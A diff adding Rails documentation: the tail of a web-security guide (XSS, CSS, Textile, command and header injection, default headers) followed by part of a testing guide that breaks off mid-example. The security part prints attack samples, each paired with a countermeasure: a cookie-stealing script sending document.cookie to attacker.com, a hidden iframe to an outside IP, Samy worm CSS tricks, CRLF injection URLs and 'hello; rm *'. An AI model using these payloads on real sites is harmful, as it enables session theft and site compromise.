+For an attacker, of course, this is not useful, as the victim will see his own cookie. The next example will try to load an image from the URL http://www.attacker.com/ plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review his web server's access log files to see the victim's cookie.
+
+```html
+<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>
+```
+
+The log files on www.attacker.com will read like this:
+
+```
+GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2
+```
+
+You can mitigate these attacks (in the obvious way) by adding the [httpOnly](http://dev.rubyonrails.org/ticket/8895) flag to cookies, so that document.cookie may not be read by JavaScript. Http only cookies can be used from IE v6.SP1, Firefox v2.0.0.5 and Opera 9.5. Safari is still considering, it ignores the option. But other, older browsers (such as WebTV and IE 5.5 on Mac) can actually cause the page to fail to load. Be warned that cookies [will still be visible using Ajax](http://ha. [...]
+
+##### Defacement
+
+With web page defacement an attacker can do a lot of things, for example, present false information or lure the victim on the attackers web site to steal the cookie, login credentials or other sensitive data. The most popular way is to include code from external sources by iframes:
+
+```html
+<iframe name=”StatPage” src="http://58.xx.xxx.xxx" width=5 height=5 style=”display:none”></iframe>
+```
+
+This loads arbitrary HTML and/or JavaScript from an external source and embeds it as part of the site. This iframe is taken from an actual attack on legitimate Italian sites using the [Mpack attack framework](http://isc.sans.org/diary.html?storyid=3015). Mpack tries to install malicious software through security holes in the web browser – very successfully, 50% of the attacks succeed.
+
+A more specialized attack could overlap the entire web site or display a login form, which looks the same as the site's original, but transmits the user name and password to the attacker's site. Or it could use CSS and/or JavaScript to hide a legitimate link in the web application, and display another one at its place which redirects to a fake web site.
+
+Reflected injection attacks are those where the payload is not stored to present it to the victim later on, but included in the URL. Especially search forms fail to escape the search string. The following link presented a page which stated that "George Bush appointed a 9 year old boy to be the chairperson...":
+
+```
+http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode=1-->
+ <script src=http://www.securitylab.ru/test/sc.js></script><!--
+```
+
+##### Countermeasures
+
+_It is very important to filter malicious input, but it is also important to escape the output of the web application_.
+
+Especially for XSS, it is important to do _whitelist input filtering instead of blacklist_. Whitelist filtering states the values allowed as opposed to the values not allowed. Blacklists are never complete.
+
+Imagine a blacklist deletes “script” from the user input. Now the attacker injects “<scrscriptipt>”, and after the filter, “<script>” remains. Earlier versions of Rails used a blacklist approach for the strip_tags(), strip_links() and sanitize() method. So this kind of injection was possible:
+
+```ruby
+strip_tags("some<<b>script>alert('hello')<</b>/script>")
+```
+
+This returned "some<script>alert('hello')</script>", which makes an attack work. That's why I vote for a whitelist approach, using the updated Rails 2 method sanitize():
+
+```ruby
+tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blockquote br cite sub sup ins p)
+s = sanitize(user_input, tags: tags, attributes: %w(href title))
+```
+
+This allows only the given tags and does a good job, even against all kinds of tricks and malformed tags.
+
+As a second step, _it is good practice to escape all output of the application_, especially when re-displaying user input, which hasn't been input-filtered (as in the search form example earlier on). _Use `escapeHTML()` (or its alias `h()`) method_ to replace the HTML input characters &, ", <, > by their uninterpreted representations in HTML (`&`, `"`, `<`;, and `>`). However, it can easily happen that the programmer forgets to use it, so _it is recommended t [...]
+
+##### Obfuscation and Encoding Injection
+
+Network traffic is mostly based on the limited Western alphabet, so new character encodings, such as Unicode, emerged, to transmit characters in other languages. But, this is also a threat to web applications, as malicious code can be hidden in different encodings that the web browser might be able to process, but the web application might not. Here is an attack vector in UTF-8 encoding:
+
+```
+<IMG SRC=javascript:a
+ lert('XSS')>
+```
+
+This example pops up a message box. It will be recognized by the above sanitize() filter, though. A great tool to obfuscate and encode strings, and thus “get to know your enemy”, is the [Hackvertor](https://hackvertor.co.uk/public). Rails' sanitize() method does a good job to fend off encoding attacks.
+
+#### Examples from the Underground
+
+_In order to understand today's attacks on web applications, it's best to take a look at some real-world attack vectors._
+
+The following is an excerpt from the [Js.Yamanner at m](http://www.symantec.com/security_response/writeup.jsp?docid=2006-061211-4111-99&tabid=1) Yahoo! Mail [worm](http://groovin.net/stuff/yammer.txt). It appeared on June 11, 2006 and was the first webmail interface worm:
+
+```
+<img src='http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_mail_1.gif'
+ target=""onload="var http_request = false; var Email = '';
+ var IDList = ''; var CRumb = ''; function makeRequest(url, Func, Method,Param) { ...
+```
+
+The worms exploits a hole in Yahoo's HTML/JavaScript filter, which usually filters all target and onload attributes from tags (because there can be JavaScript). The filter is applied only once, however, so the onload attribute with the worm code stays in place. This is a good example why blacklist filters are never complete and why it is hard to allow HTML/JavaScript in a web application.
+
+Another proof-of-concept webmail worm is Nduja, a cross-domain worm for four Italian webmail services. Find more details on [Rosario Valotta's paper](http://www.xssed.com/article/9/Paper_A_PoC_of_a_cross_webmail_worm_XWW_called_Njuda_connection/). Both webmail worms have the goal to harvest email addresses, something a criminal hacker could make money with.
+
+In December 2006, 34,000 actual user names and passwords were stolen in a [MySpace phishing attack](http://news.netcraft.com/archives/2006/10/27/myspace_accounts_compromised_by_phishers.html). The idea of the attack was to create a profile page named “login_home_index_html”, so the URL looked very convincing. Specially-crafted HTML and CSS was used to hide the genuine MySpace content from the page and instead display its own login form.
+
+The MySpace Samy worm will be discussed in the CSS Injection section.
+
+### CSS Injection
+
+INFO: _CSS Injection is actually JavaScript injection, because some browsers (IE, some versions of Safari and others) allow JavaScript in CSS. Think twice about allowing custom CSS in your web application._
+
+CSS Injection is explained best by a well-known worm, the [MySpace Samy worm](http://namb.la/popular/tech.html). This worm automatically sent a friend request to Samy (the attacker) simply by visiting his profile. Within several hours he had over 1 million friend requests, but it creates too much traffic on MySpace, so that the site goes offline. The following is a technical explanation of the worm.
+
+MySpace blocks many tags, however it allows CSS. So the worm's author put JavaScript into CSS like this:
+
+```html
+<div style="background:url('javascript:alert(1)')">
+```
+
+So the payload is in the style attribute. But there are no quotes allowed in the payload, because single and double quotes have already been used. But JavaScript has a handy eval() function which executes any string as code.
+
+```html
+<div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')">
+```
+
+The eval() function is a nightmare for blacklist input filters, as it allows the style attribute to hide the word “innerHTML”:
+
+```
+alert(eval('document.body.inne' + 'rHTML'));
+```
+
+The next problem was MySpace filtering the word “javascript”, so the author used “java<NEWLINE>script" to get around this:
+
+```html
+<div id="mycode" expr="alert('hah!')" style="background:url('java↵
script:eval(document.all.mycode.expr)')">
+```
+
+Another problem for the worm's author were CSRF security tokens. Without them he couldn't send a friend request over POST. He got around it by sending a GET to the page right before adding a user and parsing the result for the CSRF token.
+
+In the end, he got a 4 KB worm, which he injected into his profile page.
+
+The [moz-binding](http://www.securiteam.com/securitynews/5LP051FHPE.html) CSS property proved to be another way to introduce JavaScript in CSS in Gecko-based browsers (Firefox, for example).
+
+#### Countermeasures
+
+This example, again, showed that a blacklist filter is never complete. However, as custom CSS in web applications is a quite rare feature, I am not aware of a whitelist CSS filter. _If you want to allow custom colors or images, you can allow the user to choose them and build the CSS in the web application_. Use Rails' `sanitize()` method as a model for a whitelist CSS filter, if you really need one.
+
+### Textile Injection
+
+If you want to provide text formatting other than HTML (due to security), use a mark-up language which is converted to HTML on the server-side. [RedCloth](http://redcloth.org/) is such a language for Ruby, but without precautions, it is also vulnerable to XSS.
+
+For example, RedCloth translates `_test_` to <em>test<em>, which makes the text italic. However, up to the current version 3.0.4, it is still vulnerable to XSS. Get the [all-new version 4](http://www.redcloth.org) that removed serious bugs. However, even that version has [some security bugs](http://www.rorsecurity.info/journal/2008/10/13/new-redcloth-security.html), so the countermeasures still apply. Here is an example for version 3.0.4:
+
+```ruby
+RedCloth.new('<script>alert(1)</script>').to_html
+# => "<script>alert(1)</script>"
+```
+
+Use the :filter_html option to remove HTML which was not created by the Textile processor.
+
+```ruby
+RedCloth.new('<script>alert(1)</script>', [:filter_html]).to_html
+# => "alert(1)"
+```
+
+However, this does not filter all HTML, a few tags will be left (by design), for example <a>:
+
+```ruby
+RedCloth.new("<a href='javascript:alert(1)'>hello</a>", [:filter_html]).to_html
+# => "<p><a href="javascript:alert(1)">hello</a></p>"
+```
+
+#### Countermeasures
+
+It is recommended to _use RedCloth in combination with a whitelist input filter_, as described in the countermeasures against XSS section.
+
+### Ajax Injection
+
+NOTE: _The same security precautions have to be taken for Ajax actions as for “normal” ones. There is at least one exception, however: The output has to be escaped in the controller already, if the action doesn't render a view._
+
+If you use the [in_place_editor plugin](http://dev.rubyonrails.org/browser/plugins/in_place_editing), or actions that return a string, rather than rendering a view, _you have to escape the return value in the action_. Otherwise, if the return value contains a XSS string, the malicious code will be executed upon return to the browser. Escape any input value using the h() method.
+
+### Command Line Injection
+
+NOTE: _Use user-supplied command line parameters with caution._
+
+If your application has to execute commands in the underlying operating system, there are several methods in Ruby: exec(command), syscall(command), system(command) and `command`. You will have to be especially careful with these functions if the user may enter the whole command, or a part of it. This is because in most shells, you can execute another command at the end of the first one, concatenating them with a semicolon (;) or a vertical bar (|).
+
+A countermeasure is to _use the `system(command, parameters)` method which passes command line parameters safely_.
+
+```ruby
+system("/bin/echo","hello; rm *")
+# prints "hello; rm *" and does not delete files
+```
+
+
+### Header Injection
+
+WARNING: _HTTP headers are dynamically generated and under certain circumstances user input may be injected. This can lead to false redirection, XSS or HTTP response splitting._
+
+HTTP request headers have a Referer, User-Agent (client software), and Cookie field, among others. Response headers for example have a status code, Cookie and Location (redirection target URL) field. All of them are user-supplied and may be manipulated with more or less effort. _Remember to escape these header fields, too._ For example when you display the user agent in an administration area.
+
+Besides that, it is _important to know what you are doing when building response headers partly based on user input._ For example you want to redirect the user back to a specific page. To do that you introduced a “referer“ field in a form to redirect to the given address:
+
+```ruby
+redirect_to params[:referer]
+```
+
+What happens is that Rails puts the string into the Location header field and sends a 302 (redirect) status to the browser. The first thing a malicious user would do, is this:
+
+```
+http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld
+```
+
+And due to a bug in (Ruby and) Rails up to version 2.1.2 (excluding it), a hacker may inject arbitrary header fields; for example like this:
+
+```
+http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld%0d%0aX-Header:+Hi!
+http://www.yourapplication.com/controller/action?referer=path/at/your/app%0d%0aLocation:+http://www.malicious.tld
+```
+
+Note that "%0d%0a" is URL-encoded for "\r\n" which is a carriage-return and line-feed (CRLF) in Ruby. So the resulting HTTP header for the second example will be the following because the second Location header field overwrites the first.
+
+```
+HTTP/1.1 302 Moved Temporarily
+(...)
+Location: http://www.malicious.tld
+```
+
+So _attack vectors for Header Injection are based on the injection of CRLF characters in a header field._ And what could an attacker do with a false redirection? He could redirect to a phishing site that looks the same as yours, but asks to login again (and sends the login credentials to the attacker). Or he could install malicious software through browser security holes on that site. Rails 2.1.2 escapes these characters for the Location field in the `redirect_to` method. _Make sure you [...]
+
+#### Response Splitting
+
+If Header Injection was possible, Response Splitting might be, too. In HTTP, the header block is followed by two CRLFs and the actual data (usually HTML). The idea of Response Splitting is to inject two CRLFs into a header field, followed by another response with malicious HTML. The response will be:
+
+```
+HTTP/1.1 302 Found [First standard 302 response]
+Date: Tue, 12 Apr 2005 22:09:07 GMT
+Location:
Content-Type: text/html
+
+
+HTTP/1.1 200 OK [Second New response created by attacker begins]
+Content-Type: text/html
+
+
+<html><font color=red>hey</font></html> [Arbitary malicious input is
+Keep-Alive: timeout=15, max=100 shown as the redirected page]
+Connection: Keep-Alive
+Transfer-Encoding: chunked
+Content-Type: text/html
+```
+
+Under certain circumstances this would present the malicious HTML to the victim. However, this only seems to work with Keep-Alive connections (and many browsers are using one-time connections). But you can't rely on this. _In any case this is a serious bug, and you should update your Rails to version 2.0.5 or 2.1.2 to eliminate Header Injection (and thus response splitting) risks._
+
+
+Default Headers
+---------------
+
+Every HTTP response from your Rails application receives the following default security headers.
+
+```ruby
+config.action_dispatch.default_headers = {
+ 'X-Frame-Options' => 'SAMEORIGIN',
+ 'X-XSS-Protection' => '1; mode=block',
+ 'X-Content-Type-Options' => 'nosniff'
+}
+```
+
+You can configure default headers in `config/application.rb`.
+
+```ruby
+config.action_dispatch.default_headers = {
+ 'Header-Name' => 'Header-Value',
+ 'X-Frame-Options' => 'DENY'
+}
+```
+
+Or you can remove them.
+
+```ruby
+config.action_dispatch.default_headers.clear
+```
+
+Here is the list of common headers:
+
+* X-Frame-Options
+_'SAMEORIGIN' in Rails by default_ - allow framing on same domain. Set it to 'DENY' to deny framing at all or 'ALLOWALL' if you want to allow framing for all website.
+* X-XSS-Protection
+_'1; mode=block' in Rails by default_ - use XSS Auditor and block page if XSS attack is detected. Set it to '0;' if you want to switch XSS Auditor off(useful if response contents scripts from request parameters)
+* X-Content-Type-Options
+_'nosniff' in Rails by default_ - stops the browser from guessing the MIME type of a file.
+* X-Content-Security-Policy
+[A powerful mechanism for controlling which sites certain content types can be loaded from](http://dvcs.w3.org/hg/content-security-policy/raw-file/tip/csp-specification.dev.html)
+* Access-Control-Allow-Origin
+Used to control which sites are allowed to bypass same origin policies and send cross-origin requests.
+* Strict-Transport-Security
+[Used to control if the browser is allowed to only access a site over a secure connection](http://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security)
+
+Environmental Security
+----------------------
+
+It is beyond the scope of this guide to inform you on how to secure your application code and environments. However, please secure your database configuration, e.g. `config/database.yml`, and your server-side secret, e.g. stored in `config/initializers/secret_token.rb`. You may want to further restrict access, using environment-specific versions of these files and any others that may contain sensitive information.
+
+Additional Resources
+--------------------
+
+The security landscape shifts and it is important to keep up to date, because missing a new vulnerability can be catastrophic. You can find additional resources about (Rails) security here:
+
+* The Ruby on Rails security project posts security news regularly: [http://www.rorsecurity.info](http://www.rorsecurity.info)
+* Subscribe to the Rails security [mailing list](http://groups.google.com/group/rubyonrails-security)
+* [Keep up to date on the other application layers](http://secunia.com/) (they have a weekly newsletter, too)
+* A [good security blog](http://ha.ckers.org/blog/) including the [Cross-Site scripting Cheat Sheet](http://ha.ckers.org/xss.html)
diff --git a/guides/source/testing.md b/guides/source/testing.md
new file mode 100644
index 0000000..4c0a61b
--- /dev/null
+++ b/guides/source/testing.md
@@ -0,0 +1,1002 @@
+A Guide to Testing Rails Applications
+=====================================
+
+This guide covers built-in mechanisms in Rails for testing your application.
+
+After reading this guide, you will know:
+
+* Rails testing terminology.
+* How to write unit, functional, and integration tests for your application.
+* Other popular testing approaches and plugins.
+
+--------------------------------------------------------------------------------
+
+Why Write Tests for your Rails Applications?
+--------------------------------------------
+
+Rails makes it super easy to write your tests. It starts by producing skeleton test code while you are creating your models and controllers.
+
+By simply running your Rails tests you can ensure your code adheres to the desired functionality even after some major code refactoring.
+
+Rails tests can also simulate browser requests and thus you can test your application's response without having to test it through your browser.
+
+Introduction to Testing
+-----------------------
+
+Testing support was woven into the Rails fabric from the beginning. It wasn't an "oh! let's bolt on support for running tests because they're new and cool" epiphany. Just about every Rails application interacts heavily with a database and, as a result, your tests will need a database to interact with as well. To write efficient tests, you'll need to understand how to set up this database and populate it with sample data.
+
+### The Test Environment
+
+By default, every Rails application has three environments: development, test, and production. The database for each one of them is configured in `config/database.yml`.
+
+A dedicated test database allows you to set up and interact with test data in isolation. Tests can mangle test data with confidence, that won't touch the data in the development or production databases.
+
+### Rails Sets up for Testing from the Word Go
+
+Rails creates a `test` folder for you as soon as you create a Rails project using `rails new` _application_name_. If you list the contents of this folder then you shall see:
+
+```bash
+$ ls -F test
+controllers/ helpers/ mailers/ test_helper.rb
+fixtures/ integration/ models/
+```
+
+The `models` directory is meant to hold tests for your models, the `controllers` directory is meant to hold tests for your controllers and the `integration` directory is meant to hold tests that involve any number of controllers interacting.
+
+Fixtures are a way of organizing test data; they reside in the `fixtures` folder.
+
+The `test_helper.rb` file holds the default configuration for your tests.
+
+### The Low-Down on Fixtures
+
+For good tests, you'll need to give some thought to setting up test data. In Rails, you can handle this by defining and customizing fixtures.
+
+#### What Are Fixtures?
+
+_Fixtures_ is a fancy word for sample data. Fixtures allow you to populate your testing database with predefined data before your tests run. Fixtures are database independent written in YAML. There is one file per model.
+
+You'll find fixtures under your `test/fixtures` directory. When you run `rails generate model` to create a new model fixture stubs will be automatically created and placed in this directory.
+
+#### YAML
+
+YAML-formatted fixtures are a very human-friendly way to describe your sample data. These types of fixtures have the **.yml** file extension (as in `users.yml`).
+
+Here's a sample YAML fixture file:
+
+```yaml
+# lo & behold! I am a YAML comment!
+david:
+ name: David Heinemeier Hansson
+ birthday: 1979-10-15
+ profession: Systems development
+
+steve:
+ name: Steve Ross Kellock
+ birthday: 1974-09-27
+ profession: guy with keyboard
+```
+
+Each fixture is given a name followed by an indented list of colon-separated key/value pairs. Records are typically separated by a blank space. You can place comments in a fixture file by using the # character in the first column. Keys which resemble YAML keywords such as 'yes' and 'no' are quoted so that the YAML Parser correctly interprets them.
+
+#### ERB'in It Up
+
+ERB allows you to embed Ruby code within templates. The YAML fixture format is pre-processed with ERB when Rails loads fixtures. This allows you to use Ruby to help you generate some sample data. For example, the following code generates a thousand users:
+
+```erb
+<% 1000.times do |n| %>
+user_<%= n %>:
+ username: <%= "user%03d" % n %>
+ email: <%= "user%03d at example.com" % n %>
+<% end %>
+```
+
+#### Fixtures in Action
+
+Rails by default automatically loads all fixtures from the `test/fixtures` folder for your unit and functional test. Loading involves three steps:
+
+* Remove any existing data from the table corresponding to the fixture
+* Load the fixture data into the table
+* Dump the fixture data into a variable in case you want to access it directly
+
+#### Fixtures are Active Record objects
+
+Fixtures are instances of Active Record. As mentioned in point #3 above, you can access the object directly because it is automatically setup as a local variable of the test case. For example:
+
+```ruby
+# this will return the User object for the fixture named david
+users(:david)
+
+# this will return the property for david called id
+users(:david).id
+
+# one can also access methods available on the User class
+email(david.girlfriend.email, david.location_tonight)
+```
+
+Unit Testing your Models
+------------------------
+
+In Rails, unit tests are what you write to test your models.
+
+For this guide we will be using Rails _scaffolding_. It will create the model, a migration, controller and views for the new resource in a single operation. It will also create a full test suite following Rails best practices. I will be using examples from this generated code and will be supplementing it with additional examples where necessary.
+
+NOTE: For more information on Rails <i>scaffolding</i>, refer to [Getting Started with Rails](getting_started.html)
+
+When you use `rails generate scaffold`, for a resource among other things it creates a test stub in the `test/models` folder:
+
+```bash
+$ rails generate scaffold post title:string body:text
+...
+create app/models/post.rb
+create test/models/post_test.rb
+create test/fixtures/posts.yml
+...
+```
+
+The default test stub in `test/models/post_test.rb` looks like this:
+
+```ruby
+require 'test_helper'
+
+class PostTest < ActiveSupport::TestCase
+ # test "the truth" do
+ # assert true
+ # end
+end
+```
+
+A line by line examination of this file will help get you oriented to Rails testing code and terminology.
+
+```ruby
+require 'test_helper'
+```
+
+As you know by now, `test_helper.rb` specifies the default configuration to run our tests. This is included with all the tests, so any methods added to this file are available to all your tests.
+
+```ruby
+class PostTest < ActiveSupport::TestCase
+```
+
+The `PostTest` class defines a _test case_ because it inherits from `ActiveSupport::TestCase`. `PostTest` thus has all the methods available from `ActiveSupport::TestCase`. You'll see those methods a little later in this guide.
+
+Any method defined within a `Test::Unit` test case that begins with `test` (case sensitive) is simply called a test. So, `test_password`, `test_valid_password` and `testValidPassword` all are legal test names and are run automatically when the test case is run.
+
+Rails adds a `test` method that takes a test name and a block. It generates a normal `Test::Unit` test with method names prefixed with `test_`. So,
+
+```ruby
+test "the truth" do
+ assert true
+end
+```
+
+acts as if you had written
+
+```ruby
+def test_the_truth
+ assert true
+end
+```
+
+only the `test` macro allows a more readable test name. You can still use regular method definitions though.
+
+NOTE: The method name is generated by replacing spaces with underscores. The result does not need to be a valid Ruby identifier though, the name may contain punctuation characters etc. That's because in Ruby technically any string may be a method name. Odd ones need `define_method` and `send` calls, but formally there's no restriction.
+
+```ruby
+assert true
+```
+
+This line of code is called an _assertion_. An assertion is a line of code that evaluates an object (or expression) for expected results. For example, an assertion can check:
+
+* does this value = that value?
+* is this object nil?
+* does this line of code throw an exception?
+* is the user's password greater than 5 characters?
+
+Every test contains one or more assertions. Only when all the assertions are successful will the test pass.
+
+### Preparing your Application for Testing
+
+Before you can run your tests, you need to ensure that the test database structure is current. For this you can use the following rake commands:
+
+```bash
+$ rake db:migrate
+...
+$ rake db:test:load
+```
+
+The `rake db:migrate` above runs any pending migrations on the _development_ environment and updates `db/schema.rb`. The `rake db:test:load` recreates the test database from the current `db/schema.rb`. On subsequent attempts, it is a good idea to first run `db:test:prepare`, as it first checks for pending migrations and warns you appropriately.
+
+NOTE: `db:test:prepare` will fail with an error if `db/schema.rb` doesn't exist.
+
+#### Rake Tasks for Preparing your Application for Testing
+
+| Tasks | Description |
+| ------------------------------ | ------------------------------------------------------------------------- |
+| `rake db:test:clone` | Recreate the test database from the current environment's database schema |
+| `rake db:test:clone_structure` | Recreate the test database from the development structure |
+| `rake db:test:load` | Recreate the test database from the current `schema.rb` |
+| `rake db:test:prepare` | Check for pending migrations and load the test schema |
+| `rake db:test:purge` | Empty the test database. |
+
+TIP: You can see all these rake tasks and their descriptions by running `rake --tasks --describe`
+
+### Running Tests
+
+Running a test is as simple as invoking the file containing the test cases through `rake test` command.
+
+```bash
+$ rake test test/models/post_test.rb
+.
+
+Finished tests in 0.009262s, 107.9680 tests/s, 107.9680 assertions/s.
+
+1 tests, 1 assertions, 0 failures, 0 errors, 0 skips
+```
+
+You can also run a particular test method from the test case by running the test and providing the `test method name`.
+
+```bash
+$ rake test test/models/post_test.rb test_the_truth
+.
+
+Finished tests in 0.009064s, 110.3266 tests/s, 110.3266 assertions/s.
+
+1 tests, 1 assertions, 0 failures, 0 errors, 0 skips
+```
+
+This will run all test methods from the test case. Note that `test_helper.rb` is in the `test` directory, hence this directory needs to be added to the load path using the `-I` switch.
+
+The `.` (dot) above indicates a passing test. When a test fails you see an `F`; when a test throws an error you see an `E` in its place. The last line of the output is the summary.
+
+To see how a test failure is reported, you can add a failing test to the `post_test.rb` test case.
+
+```ruby
+test "should not save post without title" do
+ post = Post.new
+ assert !post.save
+end
+```
+
+Let us run this newly added test.
+
+```bash
+$ rake test test/models/post_test.rb test_should_not_save_post_without_title
+F
+
+Finished tests in 0.044632s, 22.4054 tests/s, 22.4054 assertions/s.
+
+ 1) Failure:
+test_should_not_save_post_without_title(PostTest) [test/models/post_test.rb:6]:
+Failed assertion, no message given.
+
+1 tests, 1 assertions, 1 failures, 0 errors, 0 skips
+```
+
+In the output, `F` denotes a failure. You can see the corresponding trace shown under `1)` along with the name of the failing test. The next few lines contain the stack trace followed by a message which mentions the actual value and the expected value by the assertion. The default assertion messages provide just enough information to help pinpoint the error. To make the assertion failure message more readable, every assertion provides an optional message parameter, as shown here:
+
+```ruby
+test "should not save post without title" do
+ post = Post.new
+ assert !post.save, "Saved the post without a title"
+end
+```
+
+Running this test shows the friendlier assertion message:
+
+```bash
+ 1) Failure:
+test_should_not_save_post_without_title(PostTest) [test/models/post_test.rb:6]:
+Saved the post without a title
+```
+
+Now to get this test to pass we can add a model level validation for the _title_ field.
+
+```ruby
+class Post < ActiveRecord::Base
+ validates :title, presence: true
+end
+```
+
+Now the test should pass. Let us verify by running the test again:
+
+```bash
+$ rake test test/models/post_test.rb test_should_not_save_post_without_title
+.
+
+Finished tests in 0.047721s, 20.9551 tests/s, 20.9551 assertions/s.
+
+1 tests, 1 assertions, 0 failures, 0 errors, 0 skips
+```
+
+Now, if you noticed, we first wrote a test which fails for a desired functionality, then we wrote some code which adds the functionality and finally we ensured that our test passes. This approach to software development is referred to as _Test-Driven Development_ (TDD).
+
+TIP: Many Rails developers practice _Test-Driven Development_ (TDD). This is an excellent way to build up a test suite that exercises every part of your application. TDD is beyond the scope of this guide, but one place to start is with [15 TDD steps to create a Rails application](http://andrzejonsoftware.blogspot.com/2007/05/15-tdd-steps-to-create-rails.html).
+
+To see how an error gets reported, here's a test containing an error:
+
+```ruby
+test "should report error" do
+ # some_undefined_variable is not defined elsewhere in the test case
+ some_undefined_variable
+ assert true
+end
+```
+
+Now you can see even more output in the console from running the tests:
+
+```bash
+$ rake test test/models/post_test.rb test_should_report_error
+E
+
+Finished tests in 0.030974s, 32.2851 tests/s, 0.0000 assertions/s.
+
+ 1) Error:
+test_should_report_error(PostTest):
+NameError: undefined local variable or method `some_undefined_variable' for #<PostTest:0x007fe32e24afe0>
+ test/models/post_test.rb:10:in `block in <class:PostTest>'
+
+1 tests, 0 assertions, 0 failures, 1 errors, 0 skips
+```
+
+Notice the 'E' in the output. It denotes a test with error.
+
+NOTE: The execution of each test method stops as soon as any error or an assertion failure is encountered, and the test suite continues with the next method. All test methods are executed in alphabetical order.
+
+### What to Include in Your Unit Tests
+
+Ideally, you would like to include a test for everything which could possibly break. It's a good practice to have at least one test for each of your validations and at least one test for every method in your model.
+
+### Assertions Available
+
+By now you've caught a glimpse of some of the assertions that are available. Assertions are the worker bees of testing. They are the ones that actually perform the checks to ensure that things are going as planned.
+
+There are a bunch of different types of assertions you can use. Here's the complete list of assertions that ship with `test/unit`, the default testing library used by Rails. The `[msg]` parameter is an optional string message you can specify to make your test failure messages clearer. It's not required.
+
+| Assertion | Purpose |
+| ---------------------------------------------------------------- | ------- |
+| `assert( boolean, [msg] )` | Ensures that the object/expression is true.|
+| `assert_equal( expected, actual, [msg] )` | Ensures that `expected == actual` is true.|
+| `assert_not_equal( expected, actual, [msg] )` | Ensures that `expected != actual` is true.|
+| `assert_same( expected, actual, [msg] )` | Ensures that `expected.equal?(actual)` is true.|
+| `assert_not_same( expected, actual, [msg] )` | Ensures that `!expected.equal?(actual)` is true.|
+| `assert_nil( obj, [msg] )` | Ensures that `obj.nil?` is true.|
+| `assert_not_nil( obj, [msg] )` | Ensures that `!obj.nil?` is true.|
+| `assert_match( regexp, string, [msg] )` | Ensures that a string matches the regular expression.|
+| `assert_no_match( regexp, string, [msg] )` | Ensures that a string doesn't match the regular expression.|
+| `assert_in_delta( expecting, actual, delta, [msg] )` | Ensures that the numbers `expecting` and `actual` are within `delta` of each other.|
+| `assert_throws( symbol, [msg] ) { block }` | Ensures that the given block throws the symbol.|
+| `assert_raise( exception1, exception2, ... ) { block }` | Ensures that the given block raises one of the given exceptions.|
+| `assert_nothing_raised( exception1, exception2, ... ) { block }` | Ensures that the given block doesn't raise one of the given exceptions.|
+| `assert_instance_of( class, obj, [msg] )` | Ensures that `obj` is of the `class` type.|
+| `assert_kind_of( class, obj, [msg] )` | Ensures that `obj` is or descends from `class`.|
+| `assert_respond_to( obj, symbol, [msg] )` | Ensures that `obj` has a method called `symbol`.|
+| `assert_operator( obj1, operator, obj2, [msg] )` | Ensures that `obj1.operator(obj2)` is true.|
+| `assert_send( array, [msg] )` | Ensures that executing the method listed in `array[1]` on the object in `array[0]` with the parameters of `array[2 and up]` is true. This one is weird eh?|
+| `flunk( [msg] )` | Ensures failure. This is useful to explicitly mark a test that isn't finished yet.|
+
+Because of the modular nature of the testing framework, it is possible to create your own assertions. In fact, that's exactly what Rails does. It includes some specialized assertions to make your life easier.
+
+NOTE: Creating your own assertions is an advanced topic that we won't cover in this tutorial.
+
+### Rails Specific Assertions
+
+Rails adds some custom assertions of its own to the `test/unit` framework:
+
+| Assertion | Purpose |
+| --------------------------------------------------------------------------------- | ------- |
+| `assert_difference(expressions, difference = 1, message = nil) {...}` | Test numeric difference between the return value of an expression as a result of what is evaluated in the yielded block.|
+| `assert_no_difference(expressions, message = nil, &block)` | Asserts that the numeric result of evaluating an expression is not changed before and after invoking the passed in block.|
+| `assert_recognizes(expected_options, path, extras={}, message=nil)` | Asserts that the routing of the given path was handled correctly and that the parsed options (given in the expected_options hash) match path. Basically, it asserts that Rails recognizes the route given by expected_options.|
+| `assert_generates(expected_path, options, defaults={}, extras = {}, message=nil)` | Asserts that the provided options can be used to generate the provided path. This is the inverse of assert_recognizes. The extras parameter is used to tell the request the names and values of additional request parameters that would be in a query string. The message parameter allows you to specify a custom error message for assertion failures.|
+| `assert_response(type, message = nil)` | Asserts that the response comes with a specific status code. You can specify `:success` to indicate 200-299, `:redirect` to indicate 300-399, `:missing` to indicate 404, or `:error` to match the 500-599 range|
+| `assert_redirected_to(options = {}, message=nil)` | Assert that the redirection options passed in match those of the redirect called in the latest action. This match can be partial, such that `assert_redirected_to(controller: "weblog")` will also match the redirection of `redirect_to(controller: "weblog", action: "show")` and so on.|
+| `assert_template(expected = nil, message=nil)` | Asserts that the request was rendered with the appropriate template file.|
+
+You'll see the usage of some of these assertions in the next chapter.
+
+Functional Tests for Your Controllers
+-------------------------------------
+
+In Rails, testing the various actions of a single controller is called writing functional tests for that controller. Controllers handle the incoming web requests to your application and eventually respond with a rendered view.
+
+### What to Include in your Functional Tests
+
+You should test for things such as:
+
+* was the web request successful?
+* was the user redirected to the right page?
+* was the user successfully authenticated?
+* was the correct object stored in the response template?
+* was the appropriate message displayed to the user in the view?
+
+Now that we have used Rails scaffold generator for our `Post` resource, it has already created the controller code and tests. You can take look at the file `posts_controller_test.rb` in the `test/controllers` directory.
+
+Let me take you through one such test, `test_should_get_index` from the file `posts_controller_test.rb`.
+
+```ruby
+test "should get index" do
+ get :index
+ assert_response :success
+ assert_not_nil assigns(:posts)
+end
+```
+
+In the `test_should_get_index` test, Rails simulates a request on the action called `index`, making sure the request was successful and also ensuring that it assigns a valid `posts` instance variable.
+
+The `get` method kicks off the web request and populates the results into the response. It accepts 4 arguments:
+
+* The action of the controller you are requesting. This can be in the form of a string or a symbol.
+* An optional hash of request parameters to pass into the action (eg. query string parameters or post variables).
+* An optional hash of session variables to pass along with the request.
+* An optional hash of flash values.
+
+Example: Calling the `:show` action, passing an `id` of 12 as the `params` and setting a `user_id` of 5 in the session:
+
+```ruby
+get(:show, {'id' => "12"}, {'user_id' => 5})
+```
+
+Another example: Calling the `:view` action, passing an `id` of 12 as the `params`, this time with no session, but with a flash message.
+
+```ruby
